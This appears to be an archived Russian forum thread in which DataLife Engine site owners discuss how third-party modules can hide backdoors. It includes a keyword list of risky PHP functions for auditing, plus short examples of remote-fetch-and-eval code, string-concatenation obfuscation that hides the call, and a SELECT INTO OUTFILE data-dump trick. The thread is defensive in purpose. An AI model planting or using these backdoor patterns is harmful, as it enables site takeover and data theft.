Перейти к публикации

Моды: безопасность


Рекомендованные сообщения

Всем добрый день!

Сегодня на повестке дня стоит вопрос безопасности наших с вами сайтов.

А именно - мы устанавливаем некоторые модули (плагины). Всё хорошо, но теперь мы должны быть внимательны - установка любого модуля теоретически ведёт к захвату вашего сайта автором модуля. Тоже самое касается и нелицензионных (взломанных) копий DataLife Engine! Конечно конечно - большинство разработчиков - честные люди, но ведь всякое бывает. Сегодня ваш сайт стоит копейки, а завтра десяток другой килобаксов - пора платить!

Каким образом установка модуля (плагина) снижает безопастность?

При установке модуля строго рекомендую использовать поиск в файлах по ключевым словам "mail", "eval", "include", 'file_get_contents" - пока всё. Вариантов масса, но пока остановимся на этом. Если вы нашли эти команды в коде модуля - внимательно посмотрите вокруг и если сами не понимаете что происходит в этом месте с программой - спросите у товарища, а лучше на форуме.

Приведу пример из 2-х строчек, которые приведут к захвату вашего сайта:

$tt = @file_get_contents ('http://site.ru/script.txt');

...........

eval ($tt);

Вот так - причём эти строчки могут быть вообще в разных файлах модуля.

Что делать если исхдный код закрыт Зендом? - да собственно ничего, ставить мод (плагин) на собственный страх и риск.

Вводная часть закончена, предлагаю обсудить этот животрепещущий вопрос :)

Ссылка на сообщение
Поделиться на других сайтах

lifestar,

Полезная информация!

Действительно, подобные вещи можно спрятать в коде в разных местах... так, что он не будет бросаться в глаза...

И если знать такие способы, то это очень поможет...

Ссылка на сообщение
Поделиться на других сайтах

celsoft, спасибо.

revix.ru, вы сегодня невнимательны)

Итак список пополняется и теперь он таков:

mail

eval

include

require

file*

strrev

fsockopen

base64_decode

curl_*

Кто ещё предложит?)

Ссылка на сообщение
Поделиться на других сайтах

IT-Security, так не имелось в виду их запретить вообще. Просто проверить что именно подключается. На некоторых хостингах срабатывает удалённый инклуд жеж

Ссылка на сообщение
Поделиться на других сайтах

Я может скажу что то нереальное, но самая надежная защита это вообще не ставить модулей B)

Ссылка на сообщение
Поделиться на других сайтах

$a1="fi";

$a2="le";

$a3="ge";

$a4="t";

$a5="co";

$a6="nt";

$a7="en";

$a8="_";

$a1.=$a2;

$a2=$a1.$a8;

$a3.=$a4.$a8;

$a2.=$a3.$a8;

$a1=$a2.$a5.$a6.$a7.$a4;

eval($a1("http://Мега страшный скрипт"));

А такое?:) Так что пр желании - неподготовленный человек не найдёт уязвмости))

Ссылка на сообщение
Поделиться на других сайтах

BlackMaster, я же написал в списке eval, да и тем более неподготовленный человек вообще никогда не найдёт уязвимости.

Добавляем в список: fopen, ftp_*, http_*, get_meta_tags, exec и passthru

и получаем:

base64_decode

curl_*

file*

fopen

fsockopen

ftp_*

get_meta_tags

http_*

include

eval

exec

mail

passthru

require

strrev
+ ко всему вышесказанному опасной является конструкция:
$db->query('SELECT * INTO OUTFILE "'.$_SERVER['DOCUMENT_ROOT'].'/XXX/test.txt" FROM **TBL**');

где XXX: templates, backup, uploads, а также для всех папок, находящихся внутри них и на которых поставлены права 7** (с правами могу ошибаться - поправьте если я не прав)

**TBL** - соответственно ваша таблица, содержимым которой интересуется разработчик модуля :)

Да кстати, точно таким же способом можно "сохранить" файл конфига базы в текстовый файл, предварительно записав его значения в БД, а позже удалив эту запись.

Сам файл кстати тоже рекомендуется удалить после прочтения.

Ссылка на сообщение
Поделиться на других сайтах

Причём тут eval)) вот пример когда его не найти:

$a="enter val";

for($i=1;$i<6;$i++){ $a[$i]=''; }

$a("очень страшный скрипт");

Так, что ХОРОШО не подготовленый - не найдёт даже зная, что нужно искать)))

Ссылка на сообщение
Поделиться на других сайтах

BlackMaster, может ты хотел сказать так?

$a="enter val";

$b = $a[0].$a[6].$a[7].$a[8];

$b("очень страшный скрипт");

Такое никогда не выполнится, потому что это пользовательская функция и PHP вызовет ошибку "Call to undefined function eval()..."

Ссылка на сообщение
Поделиться на других сайтах

потратил час где-то, просмотрел все, помоему нереально так вычеслить.. Нулл точно весь не перероешь, там на каждую команду от 2 до 20 совпадений (файлов).. а папку с модами просканил, таже басня, половина команд используются в каждом модуле.. не выход, имхо.. Может быть есть смысл палить по "_http:" или как нибудь иначе, страшный скрипт то должны подгрузить с какого то ресура.. простите если рассуждаю как ламер, но вышеизложенное - малоэффективно, имхо..

Ссылка на сообщение
Поделиться на других сайтах

Пашо,

а зачем проверять null?

Тут говорится про модули, где всего пару файлов и нет таких совпадений.

Ссылка на сообщение
Поделиться на других сайтах

Пашо, теоретически можно написать скрипт проверки на урл, не равном своему. Но его легко можно будет обмануть ;)

Так у тебя нуль? надо проверить, надо) а лучше покаж регистрационный код скорее, иначе дело жареным запахнет

А вообще

половина команд используются в каждом модуле..
какие "команды" из этого списка используются в модулях кроме include и require
base64_decode

curl_*

file*

fopen

fsockopen

ftp_*

get_meta_tags

http_*

include

eval

exec

mail

passthru

require

strrev

Ссылка на сообщение
Поделиться на других сайтах

ничо не понял про регистрационный код и прочее.. команды половина.. я уже точно не помню а перерыскивать все уже не хочеться, в частности в модулях - для загрузки картинок архивом, сайт мап, и он-лайн статистика.. находились половина всех этих команд..

Пашо,

а зачем проверять null?

Тут говорится про модули, где всего пару файлов и нет таких совпадений.

ТС писал вообще то

Тоже самое касается и нелицензионных (взломанных) копий DataLife Engine!
Ссылка на сообщение
Поделиться на других сайтах

Архивировано

Эта тема находится в архиве и закрыта для публикации сообщений.

×
×
  • Создать...